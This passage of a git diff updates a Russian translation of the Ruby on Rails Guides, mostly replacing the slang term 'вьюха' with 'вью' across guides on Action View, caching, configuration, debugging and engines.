@@ WIP: Тут перечислены не все хелперы. За полным ### AssetTagHelper -Этот модуль предоставляет методы для генерации HTML, связывающего вьюхи с файлами, такими как картинки, файлы JavaScript, таблицы стилей и новостные ленты. +Этот модуль предоставляет методы для генерации HTML, связывающего вью с файлами, такими как картинки, файлы JavaScript, таблицы стилей и новостные ленты. По умолчанию Rails ссылается на эти файлы на текущем хосте в папке public, но можно направить Rails ссылаться на файлы на выделенном сервере файлов, установив `config.asset_host` в конфигурации приложения, обычно в `config/environments/production.rb`. Например, допустим хост ваших файлов `assets.example.com`: @@ -182,7 +182,7 @@ end #### cache -Метод для кэширования фрагмента вьюхи, а не всего экшна или страницы. Эта техника полезна для кэширования таких кусочков, как меню, списки заголовков новостей, статичные фрагменты HTML и так далее. Этот метод принимает блок, содержащий код, который вы хотите закэшировать. Подробности смотрите в `AbstractController::Caching::Fragments`. +Метод для кэширования фрагмента вью, а не всего экшна или страницы. Эта техника полезна для кэширования таких кусочков, как меню, списки заголовков новостей, статичные фрагменты HTML и так далее. Этот метод принимает блок, содержащий код, который вы хотите закэшировать. Подробности смотрите в `AbstractController::Caching::Fragments`. ```erb <% cache do %> @@ -294,7 +294,7 @@ third: ### JavaScriptHelper -Предоставляет функциональность для работы с JavaScript в ваших вьюхах. +Предоставляет функциональность для работы с JavaScript в ваших вью. #### escape_javascript diff --git a/source/action_view_overview.md b/source/action_view_overview.md index b576b12b..c356799e 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -5,7 +5,7 @@ * Что такое Action View, и как его использовать вместе с Rails. * Как лучше использовать шаблоны, партиалы и макеты. -* Как использовать локализованные вьюхи. +* Как использовать локализованные вью. -------------------------------------------------------------------------------- @@ -14,14 +14,14 @@ В Rails веб-запросы обрабатываются [Action Controller](/action-controller-overview) и Action View. Обычно Action Controller ответственен за связь с базой данных и выполнение экшнов CRUD. Тогда как Action View ответственен за компиляцию отклика. -Шаблоны Action View пишутся с помощью тегов встроенного Ruby, смешанных с HTML. Чтобы избежать загромождения вьюх шаблонным кодом, общее поведение для форм, дат и строк представлено рядом классов хелпера. В существующее приложение также легко добавлять новые хелперы. +Шаблоны Action View пишутся с помощью тегов встроенного Ruby, смешанных с HTML. Чтобы избежать загромождения вью шаблонным кодом, общее поведение для форм, дат и строк представлено рядом классов хелпера. В существующее приложение также легко добавлять новые хелперы. NOTE: Некоторые особенности Action View связаны с Active Record, но это не означает, что Action View зависит от Active Record. Action View — это независимый пакет, который можно использовать с любой библиотекой Ruby. Использование Action View с Rails --------------------------------- -Для каждого контроллера имеется связанная директория в директории `app/views`, содержащая файлы шаблонов, которые формируют вьюхи, связанные с этим контроллером. Эти файлы используются для отображения вьюхи, являющейся результатом каждого экшна контроллера. +Для каждого контроллера имеется связанная директория в директории `app/views`, содержащая файлы шаблонов, которые формируют вью, связанные с этим контроллером. Эти файлы используются для отображения вью, являющейся результатом каждого экшна контроллера. Давайте взглянем на то, что делает Rails по умолчанию, когда создает новый ресурс с помощью генератора скаффолда: @@ -40,7 +40,7 @@ $ bin/rails generate scaffold article [...] ``` -В Rails имеется соглашение по именованию вьюх. Как правило, имя вьюхи совпадает с соответствующим экшном контроллера, как вы могли видеть выше. Например, экшн index контроллера в `articles_controller.rb` будет использовать файл вьюхи `index.html.erb` в директории `app/views/articles`. Полный HTML, возвращенный клиенту, состоит из комбинации этого файла ERB, шаблона макета, оборачивающего его, и всех партиалов, на которые вьюха может ссылаться. В этом руководстве имеется более детальное описание каждого из этих трех компонентов. +В Rails имеется соглашение по именованию вью. Как правило, имя вью совпадает с соответствующим экшном контроллера, как вы могли видеть выше. Например, экшн index контроллера в `articles_controller.rb` будет использовать файл вью `index.html.erb` в директории `app/views/articles`. Полный HTML, возвращенный клиенту, состоит из комбинации этого файла ERB, шаблона макета, оборачивающего его, и всех партиалов, на которые вью может ссылаться. В этом руководстве имеется более детальное описание каждого из этих трех компонентов. Шаблоны, партиалы и макеты -------------------------- @@ -66,7 +66,7 @@ Rails поддерживает несколько систем шаблонир <% end %> ``` -Цикл настроен с помощью обычных встраиваемых тегов (`<% %>`), а имя вставлено с помощью выводящих встраиваемых тегов (`<%= %>`). Отметьте, что это не просто совет по использованию: обычные функции для вывода, такие как `print` и `puts` не будут рендериться во вьюху в шаблонах ERB. Поэтому, так будет неправильно: +Цикл настроен с помощью обычных встраиваемых тегов (`<% %>`), а имя вставлено с помощью выводящих встраиваемых тегов (`<%= %>`). Отметьте, что это не просто совет по использованию: обычные функции для вывода, такие как `print` и `puts` не будут рендериться во вью в шаблонах ERB. Поэтому, так будет неправильно: ```html+erb <%# WRONG %> @@ -179,13 +179,13 @@ json.email("alex@example.com") #### Именование партиалов -Чтобы отрендерить партиал как часть вьюхи, в ней используется метод `render`: +Чтобы отрендерить партиал как часть вью, в ней используется метод `render`: ```erb <%= render "menu" %> ``` -Это отрендерит файл с именем `_menu.html.erb` во вьюхе, которая рендерится. Обратите внимание на первый символ подчеркивания: партиалы именуются, начинаясь с подчеркивания, чтобы отличить их от обычных вьюх, хотя к ним и обращаются без подчеркивания. Это истинно, даже если вы вставляете партиал из другой директории: +Это отрендерит файл с именем `_menu.html.erb` во вью, которая рендерится. Обратите внимание на первый символ подчеркивания: партиалы именуются, начинаясь с подчеркивания, чтобы отличить их от обычных вью, хотя к ним и обращаются без подчеркивания. Это истинно, даже если вы вставляете партиал из другой директории: ```erb <%= render "shared/menu" %> @@ -193,9 +193,9 @@ json.email("alex@example.com") Этот код вставит партиал из `app/views/shared/_menu.html.erb`. -#### Использование партиалов для упрощения вьюх +#### Использование партиалов для упрощения вью -Одним из способов использования партиалов является трактовка их как эквивалента подпрограмм; способ выноса части разметки из вьюхи, чтобы можно было проще понять, что происходит. Например, у вас может быть такая вьюха: +Одним из способов использования партиалов является трактовка их как эквивалента подпрограмм; способ выноса части разметки из вью, чтобы можно было проще понять, что происходит. Например, у вас может быть такая вью: ```html+erb <%= render "shared/ad_banner" %> @@ -306,7 +306,7 @@ Rails отрендерит партиал `_product_ruler` (без переда ### Макеты -Макеты могут быть использованы для рендеринга общего шаблона вьюхи вокруг результатов экшна контроллера Rails. Обычно в приложении Rails несколько макетов, в которых будут рендериться страницы. Например, на сайте может быть один макет для авторизованного пользователя и другой для маркетинга или продаж. Макет для авторизованного пользователя может включать навигацию верхнего уровня, которая должна присутствовать во многих экшнах контроллера. Макет для продаж для приложения SaaS может включать верхнеуровневую навигацию для таких, скажем, страниц как "Pricing" и "Contact Us". Ожидается, что каждый макет должен выглядеть по разному. Подробнее о макетах можно прочитать в руководстве [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails). +Макеты могут быть использованы для рендеринга общего шаблона вью вокруг результатов экшна контроллера Rails. Обычно в приложении Rails несколько макетов, в которых будут рендериться страницы. Например, на сайте может быть один макет для авторизованного пользователя и другой для маркетинга или продаж. Макет для авторизованного пользователя может включать навигацию верхнего уровня, которая должна присутствовать во многих экшнах контроллера. Макет для продаж для приложения SaaS может включать верхнеуровневую навигацию для таких, скажем, страниц как "Pricing" и "Contact Us". Ожидается, что каждый макет должен выглядеть по разному. Подробнее о макетах можно прочитать в руководстве [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails). Макеты партиалов ---------------- @@ -353,16 +353,16 @@ Article.create(body: 'Partial Layouts are cool!') Предположив, что мы используем тот же партиал `_box`, мы получим тот же результат, что и в предыдущем примере. -(view-paths) Пути вьюх +(view-paths) Пути вью ---------------------- -При рендеринге отклика контроллер должен решить, где располагаются различные вьюхи. По умолчанию он смотрит только в директории `app/views`. +При рендеринге отклика контроллер должен решить, где располагаются различные вью. По умолчанию он смотрит только в директории `app/views`. Мы можем добавить другие места расположения и дать им некий приоритет при определении путей с помощью методов `prepend_view_path` и `append_view_path`. ### Prepend view path -Метод может быть полезным, например, когда мы хотим поместить вьюхи в разные директории для поддоменов. +Метод может быть полезным, например, когда мы хотим поместить вью в разные директории для поддоменов. Мы можем сделать это используя: @@ -370,7 +370,7 @@ Article.create(body: 'Partial Layouts are cool!') prepend_view_path "app/views/#{request.subdomain}" ``` -Тогда Action View при поиске нужной вьюхи будет искать сначала в этой директории. +Тогда Action View при поиске нужной вью будет искать сначала в этой директории. ### Append view path @@ -395,12 +395,12 @@ Rails предоставляет множество вспомогательны Подробнее о хелперах можно узнать в [руководстве по хелперам Action View](/action-view-helpers) и [руководстве по хелперам форм Action View](/rails-form-helpers). -Локализованные вьюхи +Локализованные вью -------------------- В Action View есть возможность рендерить различные шаблоны в зависимости от текущей локали. -Например, предположим, что у вас есть `ArticlesController` с экшном show. По умолчанию вызов этого экшна отрендерит `app/views/articles/show.html.erb`. Но если вы установите `I18n.locale = :de`, то вместо него будет отрендерен `app/views/articles/show.de.html.erb`. Если локализованный шаблон отсутствует, будет использована недекорированная версия. Это означает, что не нужно предоставлять локализованные вьюхи для всех случаев, но они будут предпочтительными и будут использоваться, если станут доступны. +Например, предположим, что у вас есть `ArticlesController` с экшном show. По умолчанию вызов этого экшна отрендерит `app/views/articles/show.html.erb`. Но если вы установите `I18n.locale = :de`, то вместо него будет отрендерен `app/views/articles/show.de.html.erb`. Если локализованный шаблон отсутствует, будет использована недекорированная версия. Это означает, что не нужно предоставлять локализованные вью для всех случаев, но они будут предпочтительными и будут использоваться, если станут доступны. Ту же технику можно использовать для локализации страниц ошибок в директории public. Например, установка `I18n.locale = :de` и создание `public/500.de.html` и `public/404.de.html` позволит иметь локализованные страницы ошибок. @@ -414,6 +414,6 @@ def set_expert_locale end ``` -Затем можно добавить специальные вьюхи, такие как `app/views/articles/show.expert.html.erb` которые будут отображены только пользователям expert. +Затем можно добавить специальные вью, такие как `app/views/articles/show.expert.html.erb` которые будут отображены только пользователям expert. Подробнее об API интернационализации Rails (I18n) можно прочитать в руководстве [API интернационализации Rails (I18n)](/rails-internationalization-i18n-api). diff --git a/source/active_record_validations.md b/source/active_record_validations.md index d7ac7c50..8b87f52f 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -238,7 +238,7 @@ class Person < ApplicationRecord end ``` -В вашем шаблоне вьюхи нужно использовать что-то вроде этого +В вашем шаблоне вью нужно использовать что-то вроде этого ```erb <%= text_field :person, :email %> @@ -998,12 +998,12 @@ person.valid? # => true person.errors.size # => 0 ``` -(displaying-validation-errors-in-the-view) Отображение ошибок валидации во вьюхах +(displaying-validation-errors-in-the-view) Отображение ошибок валидации во вью --------------------------------------------------------------------------------- Как только вы создали модель и добавили валидации, если эта модель создается с помощью веб-формы, то вы, возможно хотите отображать сообщение об ошибке, когда одна из валидаций проваливается. -Поскольку каждое приложение обрабатывает подобные вещи по-разному, в Rails нет какого-то хелпера вьюхи для непосредственной генерации этих сообщений. Однако, благодаря богатому набору методов, которые Rails в целом дает для взаимодействия с валидациями, можно создать свой собственный. Кроме того, при генерации скаффолда, Rails поместит некоторый ERB в `_form.html.erb`, генерируемый для отображения полного списка ошибок этой модели. +Поскольку каждое приложение обрабатывает подобные вещи по-разному, в Rails нет какого-то хелпера вью для непосредственной генерации этих сообщений. Однако, благодаря богатому набору методов, которые Rails в целом дает для взаимодействия с валидациями, можно создать свой собственный. Кроме того, при генерации скаффолда, Rails поместит некоторый ERB в `_form.html.erb`, генерируемый для отображения полного списка ошибок этой модели. Допустим, у нас имеется модель, сохраненная в переменную экземпляра `@article`, это выглядит следующим образом: diff --git a/source/active_storage_overview.md b/source/active_storage_overview.md index 59975066..7486dade 100644 --- a/source/active_storage_overview.md +++ b/source/active_storage_overview.md @@ -455,7 +455,7 @@ rails_blob_path(user.avatar, disposition: "attachment") WARNING: Для предотвращения атак XSS, ActiveStorage принудительно устанавливает заголовок Content-Disposition как "attachment" для некоторых типов файлов. Чтобы изменить это поведение, смотрите доступные конфигурационные опции в [Конфигурирование приложений на Rails](/configuring-rails-applications#configuring-active-storage). -Если необходимо создать ссылку из-за пределов содержимого контроллера/вьюхи (фоновые задания, задания Cron и т.д.), можно получить доступ к `rails_blob_path` следующим образом: +Если необходимо создать ссылку из-за пределов содержимого контроллера/вью (фоновые задания, задания Cron и т.д.), можно получить доступ к `rails_blob_path` следующим образом: ```ruby Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true) diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 058a4aa2..ab4dfec4 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -568,7 +568,7 @@ end По умолчанию внутренняя переменная экземпляра именуется с предшествующим подчеркиванием, `@_log_level` в примере выше. Это настраивается через `Module.attr_internal_naming_format`, куда можно передать любую строку в формате `sprintf` с предшествующими `@` и `%s` в любом месте, которая означает место, куда вставляется имя. По умолчанию `"@_%s"`. -Rails использует внутренние атрибуты в некоторых местах, например для вьюх: +Rails использует внутренние атрибуты в некоторых местах, например для вью: ```ruby module ActionView @@ -977,7 +977,7 @@ module ActionView end ``` -мы получим доступ к `field_error_proc` во вьюхах. +мы получим доступ к `field_error_proc` во вью. Генерация ридер-метода экземпляра предотвращается установкой `:instance_reader` в `false` и генерация райтер-метода экземпляра предотвращается установкой `:instance_writer` в `false`. Генерация обоих методов предотвращается установкой `:instance_accessor` в `false`. Во всех случаях, должно быть не любое ложное значение, а именно `false`: @@ -1100,7 +1100,7 @@ s # => "" "".html_safe + "<".html_safe # => "<" ``` -Эти методы не должны использоваться в обычных вьюхах. Небезопасные значения автоматически экранируются: +Эти методы не должны использоваться в обычных вью. Небезопасные значения автоматически экранируются: ```erb <%= @review.title %> <%# прекрасно, экранируется, если нужно %> diff --git a/source/active_support_instrumentation.md b/source/active_support_instrumentation.md index 86f73dc8..ff9b49fe 100644 --- a/source/active_support_instrumentation.md +++ b/source/active_support_instrumentation.md @@ -200,7 +200,7 @@ Action Controller | `:request` | `ActionDispatch::Request` | | `:status` | Код статуса HTTP | | `:location` | Заголовок запроса Location | -| `:view_runtime` | Количество времени, потраченного во вьюхе | +| `:view_runtime` | Количество времени, потраченного во вью | | `:db_runtime` | Время, потраченное на выполнение запросов к БД в мс | ```ruby diff --git a/source/api_app.md b/source/api_app.md index 0c927813..06734dd7 100644 --- a/source/api_app.md +++ b/source/api_app.md @@ -79,7 +79,7 @@ $ rails new my_api --api - Сконфигурирует приложение, чтобы оно запускало более ограниченный набор промежуточных программ, чем обычно. В частности, оно не включит по умолчанию какие-либо промежуточные программы, полезные для браузерных приложений (такие как поддержка куки). - Унаследует `ApplicationController` от `ActionController::API` вместо `ActionController::Base`. Как и в случае с промежуточными программами, это выкинет все модули Action Controller, предоставляющие функциональность, в основном используемую браузерными приложениями. -- Сконфигурирует генераторы, чтобы они пропускали генерацию вьюх, хелперов и ассетов при генерации нового ресурса. +- Сконфигурирует генераторы, чтобы они пропускали генерацию вью, хелперов и ассетов при генерации нового ресурса. ### Изменение существующего приложения @@ -309,7 +309,7 @@ $ rails c - `ActionView::Layouts`: Поддержка для макетов при рендеринге. - `ActionController::MimeResponds`: Поддержка для `respond_to`. - `ActionController::Cookies`: Поддержка для `cookies`, что включает поддержку для подписанных и зашифрованных куки. Он требует промежуточную программу для куки. -- `ActionController::Caching`: Поддержка кэширования вьюх для контроллера API. Отметьте, что нужно вручную указать хранилище кэша внутри контроллера подобно следующему: +- `ActionController::Caching`: Поддержка кэширования вью для контроллера API. Отметьте, что нужно вручную указать хранилище кэша внутри контроллера подобно следующему: ```ruby class ApplicationController < ActionController::API include ::ActionController::Caching diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index efac6918..12fa9351 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -217,7 +217,7 @@ Sprockets не добавляет какие-либо новые методы д <%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %> ``` -В обычных вьюхах можно получить доступ к изображениям в директории `app/assets/images` следующим образом: +В обычных вью можно получить доступ к изображениям в директории `app/assets/images` следующим образом: ```erb <%= image_tag "rails.png" %> diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index 782f8741..cb44e51b 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -46,7 +46,7 @@ INFO: Кэширование экшна было убрано из Rails 4. Об Динамические веб-приложения обычно создают страницы с рядом компонентов, не все из которых имеют сходные характеристики кэширования. Когда различные части страниц нуждаются в кэшировании и прекращаются по-разному, вы можете использовать Кэширование фрагмента. -Кэширование фрагмента позволяет фрагменту логики вьюхи быть обернутым в блок кэша и обслуженным из хранилища кэша для последующего запроса. +Кэширование фрагмента позволяет фрагменту логики вью быть обернутым в блок кэша и обслуженным из хранилища кэша для последующего запроса. Например, если хотите кэшировать каждый продукт на странице, можно использовать этот код: @@ -64,7 +64,7 @@ INFO: Кэширование экшна было убрано из Rails 4. Об views/products/index:bea67108094918eeba42cd4a6e786901/products/1 ``` -Строка символов в конце ключа является дайджестом дерева шаблона. Это дайджест хэша (hash digest), вычисленного на основе содержимого фрагмента вьюхи, которую вы кэшируете. Если вы измените фрагмент вьюхи (например, поменяете HTML), дайджест хэша изменится, прекращая существующий кэш. +Строка символов в конце ключа является дайджестом дерева шаблона. Это дайджест хэша (hash digest), вычисленного на основе содержимого фрагмента вью, которую вы кэшируете. Если вы измените фрагмент вью (например, поменяете HTML), дайджест хэша изменится, прекращая существующий кэш. Версия кэша, произведенная от версии product, хранится в записи кэша. Когда product обновляется, версия кэша меняется, и любые закэшированные фрагменты, содержащие предыдущую версию, игнорируются. @@ -96,7 +96,7 @@ TIP: Хранилища кэша, такие как Memcached, автомати Как объяснялось в предыдущем разделе, кэш будет прекращен, если изменится значение `updated_at` для записи, от которой напрямую зависит этот кэш. Однако, это не прекратит любой кэш, в который вложен этот фрагмент. -Например, возьмем следующую вьюху: +Например, возьмем следующую вью: ```erb <% cache product do %> @@ -104,7 +104,7 @@ TIP: Хранилища кэша, такие как Memcached, автомати <% end %> ``` -Которая, в свою очередь, рендерит эту вьюху: +Которая, в свою очередь, рендерит эту вью: ```erb <% cache game do %> @@ -219,7 +219,7 @@ render partial: "documents/document", collection: @project.documents.where(publi ### Низкоуровневое кэширование -Иногда хочется закэшировать определенное значение или результат запроса вместо кэширования фрагментов вьюх. Механизм кэширования Rails отлично работает для хранения информации __любого__ рода. +Иногда хочется закэшировать определенное значение или результат запроса вместо кэширования фрагментов вью. Механизм кэширования Rails отлично работает для хранения информации __любого__ рода. Наиболее эффективным способом реализации низкоуровневого кэширования является использование метода `Rails.cache.fetch`. Этот метод и читает, и пишет в кэш. Если передать только один аргумент, этот ключ извлекается и возвращается значение из кэша. Если передан блок, этот блок будет выполнен в случае отсутствия кэша. Возвращаемое значение блока будет записано в кэш под заданным ключом кэша, и это возвращаемое значение будет возвращено. В случае наличия кэша, будет возвращено закэшированное значение без выполнения блока. diff --git a/source/command_line.md b/source/command_line.md index 1c08ce75..a5d3733c 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -216,7 +216,7 @@ $ bin/rails generate controller Greetings hello create app/assets/stylesheets/greetings.scss ``` -Что это сгенерировало? Создался ряд директорий в нашем приложении, и создались файл контроллера, файл вьюхи, файл функционального теста, хелпер для вьюхи, файл JavaScript и файл таблицы стилей. +Что это сгенерировало? Создался ряд директорий в нашем приложении, и создались файл контроллера, файл вью, файл функционального теста, хелпер для вью, файл JavaScript и файл таблицы стилей. Давайте проверим контроллер и немного его модифицируем (в `app/controllers/greetings_controller.rb`): @@ -228,7 +228,7 @@ class GreetingsController < ApplicationController end ``` -Затем вьюху для отображения нашего сообщения (в `app/views/greetings/hello.html.erb`): +Затем вью для отображения нашего сообщения (в `app/views/greetings/hello.html.erb`): ```html+erb

    A Greeting for You!

    @@ -270,7 +270,7 @@ Description: NOTE: Список доступных типов полей для параметра `type` можно узнать в [документации API](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) для метода add_column модуля `SchemaStatements`. Параметр `index` генерирует соответствующий индекс для столбца. -Но вместо генерации модели непосредственно (что мы сделаем еще позже), давайте создадим каркас (scaffold). **Скаффолд** в Rails - это полный набор из модели, миграции базы данных для этой модели, контроллер для воздействия на нее, вьюхи для просмотра и обращения с данными и тестовый набор для всего этого. +Но вместо генерации модели непосредственно (что мы сделаем еще позже), давайте создадим каркас (scaffold). **Скаффолд** в Rails - это полный набор из модели, миграции базы данных для этой модели, контроллер для воздействия на нее, вью для просмотра и обращения с данными и тестовый набор для всего этого. Давайте настроим простой ресурс, названный "HighScore", который будет отслеживать наши лучшие результаты в видеоиграх, в которые мы играли. @@ -310,7 +310,7 @@ $ bin/rails generate scaffold HighScore game:string score:integer create app/assets/stylesheets/scaffolds.scss ``` -Генератор проверил, что существуют директории для моделей, контроллеров, хелперов, макетов, функциональных и юнит-тестов, таблиц стилей, создал вьюхи, контроллер, модель и миграцию базы данных для HighScore (создающую таблицу `high_scores` и поля), позаботился о маршруте для *ресурса*, и создал новые тесты для всего этого. +Генератор проверил, что существуют директории для моделей, контроллеров, хелперов, макетов, функциональных и юнит-тестов, таблиц стилей, создал вью, контроллер, модель и миграцию базы данных для HighScore (создающую таблицу `high_scores` и поля), позаботился о маршруте для *ресурса*, и создал новые тесты для всего этого. Миграция требует, чтобы мы **мигрировали ее**, то есть запустили некоторый код Ruby (находящийся в `20130717151933_create_high_scores.rb`), чтобы модифицировать схему базы данных. Какой базы данных? Базы данных SQLite3, которую создаст Rails, когда мы запустим команду `bin/rails db:migrate`. Поговорим об этой команде ниже. diff --git a/source/configuring.md b/source/configuring.md index 32bc74d8..e6a27830 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -361,7 +361,7 @@ config.middleware.delete Rack::MethodOverride * `config.i18n.load_path` устанавливает путь, используемый Rails для поиска файлов локали. По умолчанию `config/locales/*.{yml,rb}`. -* `config.i18n.raise_on_missing_translations` определяет, должна ли вызываться ошибка на отсутствующих переводах в контроллерах и вьюхах. По умолчанию `false`. +* `config.i18n.raise_on_missing_translations` определяет, должна ли вызываться ошибка на отсутствующих переводах в контроллерах и вью. По умолчанию `false`. * `config.i18n.fallbacks` устанавливает поведение фолбэка для отсутствующих переводов. Вот 3 примера использования этой опции: @@ -475,7 +475,7 @@ config.middleware.delete Rack::MethodOverride * `config.action_controller.default_static_extension` конфигурирует расширение, используемое для кэшированных страниц. По умолчанию `.html`. -* `config.action_controller.include_all_helpers` устанавливает, должны ли быть все хелперы вьюх доступны везде или только в соответствующем контроллере. Если установлен `false`, методы `UsersHelper` будут доступны только во вьюхах, рендерящихся как часть `UsersController`. Если `true`, методы `UsersHelper` будут доступны везде. Поведением настройки по умолчанию (когда этой опции явно не установлено `true` или `false`) является то, что все хелперы вьюх доступны в каждом контроллере. +* `config.action_controller.include_all_helpers` устанавливает, должны ли быть все хелперы вью доступны везде или только в соответствующем контроллере. Если установлен `false`, методы `UsersHelper` будут доступны только во вью, рендерящихся как часть `UsersController`. Если `true`, методы `UsersHelper` будут доступны везде. Поведением настройки по умолчанию (когда этой опции явно не установлено `true` или `false`) является то, что все хелперы вью доступны в каждом контроллере. * `config.action_controller.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby Logger, который затем используется для логирования информации от Action Controller. Установите его в `nil`, чтобы отключить логирование. @@ -642,7 +642,7 @@ config.middleware.delete Rack::MethodOverride * `config.action_view.default_enforce_utf8` определяет, генерируются ли формы со скрытым тегом, который заставляет старые версии Internet Explorer отправлять формы, закодированные в UTF-8. Это по умолчанию `false`. -* `config.action_view.annotate_rendered_view_with_filenames` определяет, должны ли отрендеренные вьюхи аннотироваться именем файла шаблона. Это по умолчанию `false`. +* `config.action_view.annotate_rendered_view_with_filenames` определяет, должны ли отрендеренные вью аннотироваться именем файла шаблона. Это по умолчанию `false`. ### Конфигурирование Action Mailbox @@ -1489,7 +1489,7 @@ WARNING: Можно помещать свои инициализаторы до * `add_locales`: Добавляет файлы в `config/locales` (из приложения, railties и engine-ов) в `I18n.load_path`, делая доступными переводы в этих файлах. -* `add_view_paths`: Добавляет директорию `app/views` из приложения, railties и engine-ов в путь поиска файлов вьюх приложения. +* `add_view_paths`: Добавляет директорию `app/views` из приложения, railties и engine-ов в путь поиска файлов вью приложения. * `load_environment_config`: Загружает файл `config/environments` для текущей среды. diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index a304591e..cab37439 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -10,7 +10,7 @@ * Различные способы отладки * Как анализировать трассировку -Хелперы вьюхи для отладки +Хелперы вью для отладки ------------------------- Одной из обычных задач является проверить содержимое переменной. Rails предоставляет три пути как сделать это: @@ -21,7 +21,7 @@ ### `debug` -Хелпер `debug` возвратит тег \
    , который рендерит объект, с использованием формата YAML. Это сгенерирует читаемые данные из объекта. Например, если у вас такой код во вьюхе:
    +Хелпер `debug` возвратит тег \
    , который рендерит объект, с использованием формата YAML. Это сгенерирует читаемые данные из объекта. Например, если у вас такой код во вью:
     
     ```html+erb
     <%= debug @article %>
    @@ -782,11 +782,11 @@ set listsize 25
     Отладка с помощью гема `web-console`
     ------------------------------------
     
    -Web Console немного похож на `byebug`, но запускается в браузере. На любой разрабатываемой вами странице, вы можете запустить консоль в контексте вьюхи или контроллера. Консоль отрендерит содержимое HTML.
    +Web Console немного похож на `byebug`, но запускается в браузере. На любой разрабатываемой вами странице, вы можете запустить консоль в контексте вью или контроллера. Консоль отрендерит содержимое HTML.
     
     ### Консоль
     
    -Внутри экшна контроллера или вьюхи, вы можете вызвать консоль с помощью метода `console`.
    +Внутри экшна контроллера или вью, вы можете вызвать консоль с помощью метода `console`.
     
     Например, в контроллере:
     
    @@ -799,7 +799,7 @@ class PostsController < ApplicationController
     end
     ```
     
    -Или во вьюхе:
    +Или во вью:
     
     ```html+erb
     <% console %>
    @@ -807,7 +807,7 @@ end
     

    New Post

    ``` -Это отрендерит консоль внутри вьюхи. Вам не нужно беспокоится о месте расположения вызова `console`, это не будет отрисовано на месте команды, а после вашего HTML содержимого. +Это отрендерит консоль внутри вью. Вам не нужно беспокоится о месте расположения вызова `console`, это не будет отрисовано на месте команды, а после вашего HTML содержимого. Консоль выполняет чистый Ruby code: вы можете определить или инициализировать собственные классы, создавать новые модели и проверять переменные. @@ -852,7 +852,7 @@ NOTE: Только одна консоль может быть отрисова * [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master): Добавляет трассировку запросов в ваши логи. * [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master): Предоставляет объект рассыльщика и набор шаблонов по умолчанию для отправки уведомлений по email, когда происходят ошибки в приложении в Rails. * [Better Errors](https://github.com/charliesome/better_errors): Заменяет стандартную страницу ошибки Rails новой, содержащей больше контекстной информации, такой как исходный код и просмотр переменных. -* [RailsPanel](https://github.com/dejan/rails_panel): Расширение для Chrome для разработки на Rails, которое подхватывает изменения в development.log. Всю информацию о запросах к приложению Rails можно смотреть в браузере, в панели Developer Tools. Предоставляет обзор времени db/rendering/total, списка параметров, отрендеренных вьюх и так далее. +* [RailsPanel](https://github.com/dejan/rails_panel): Расширение для Chrome для разработки на Rails, которое подхватывает изменения в development.log. Всю информацию о запросах к приложению Rails можно смотреть в браузере, в панели Developer Tools. Предоставляет обзор времени db/rendering/total, списка параметров, отрендеренных вью и так далее. * [Pry](https://github.com/pry/pry) альтернатива IRB и интерактивная консоль для разработчиков. Ссылки diff --git a/source/engines.md b/source/engines.md index c6cf8014..7b51223d 100644 --- a/source/engines.md +++ b/source/engines.md @@ -70,7 +70,7 @@ $ rails plugin --help * Файлы манифестов ресурсов (`blorgh_manifest.js` и `application.css`) * Пустой `ApplicationController` в пространстве имен * Пустой `ApplicationHelper` в пространстве имен - * Шаблон макета вьюхи для engine + * Шаблон макета вью для engine * Изоляцию в пространстве имен для `config/routes.rb`: ```ruby @@ -125,13 +125,13 @@ module Blorgh end ``` -Унаследованный от класса `Rails::Engine`, этот гем информирует Rails, что по определенному пути есть engine, и должным образом монтирует engine в приложение, выполняя задачи, такие как добавление директории `app` из engine к путям загрузки для моделей, рассыльщиков, контроллеров и вьюх. +Унаследованный от класса `Rails::Engine`, этот гем информирует Rails, что по определенному пути есть engine, и должным образом монтирует engine в приложение, выполняя задачи, такие как добавление директории `app` из engine к путям загрузки для моделей, рассыльщиков, контроллеров и вью. Метод `isolate_namespace` заслуживает особого внимания. Этот вызов ответственен за изолирование контроллеров, моделей, маршрутов и прочего в их собственное пространство имен, подальше от подобных компонентов приложения. Без этого есть вероятность, что компоненты engine могут "просочиться" в приложение, вызвав нежелательные разрушения, или что важные компоненты engine могут быть переопределены таким же образом названными вещами в приложении. Один из примеров таких конфликтов - хелперы. Без вызова `isolate_namespace`, хелперы engine будут включены в контроллеры приложения. NOTE: **Настойчиво** рекомендуется оставить строчку `isolate_namespace` в определении класса `Engine`. Без этого созданные в engine классы **могут** конфликтовать с приложением. -Эта изоляция в пространство имен означает, что модель, созданная с помощью `bin/rails g model`, например `bin/rails g model article`, не будет называться `Article`, а будет помещена в пространство имен и названа `Blorgh::Article`. Кроме того, таблица для модели будет помещена в пространство имен, и станет `blorgh_articles`, а не просто `articles`. Подобно пространству имен моделей, контроллер с именем `ArticlesController` будет `Blorgh::ArticlesController`, и вьюхи для этого контроллера будут не в `app/views/articles`, а в `app/views/blorgh/articles`. Рассыльщики, задания и хелперы также помещены в пространство имен. +Эта изоляция в пространство имен означает, что модель, созданная с помощью `bin/rails g model`, например `bin/rails g model article`, не будет называться `Article`, а будет помещена в пространство имен и названа `Blorgh::Article`. Кроме того, таблица для модели будет помещена в пространство имен, и станет `blorgh_articles`, а не просто `articles`. Подобно пространству имен моделей, контроллер с именем `ArticlesController` будет `Blorgh::ArticlesController`, и вью для этого контроллера будут не в `app/views/articles`, а в `app/views/blorgh/articles`. Рассыльщики, задания и 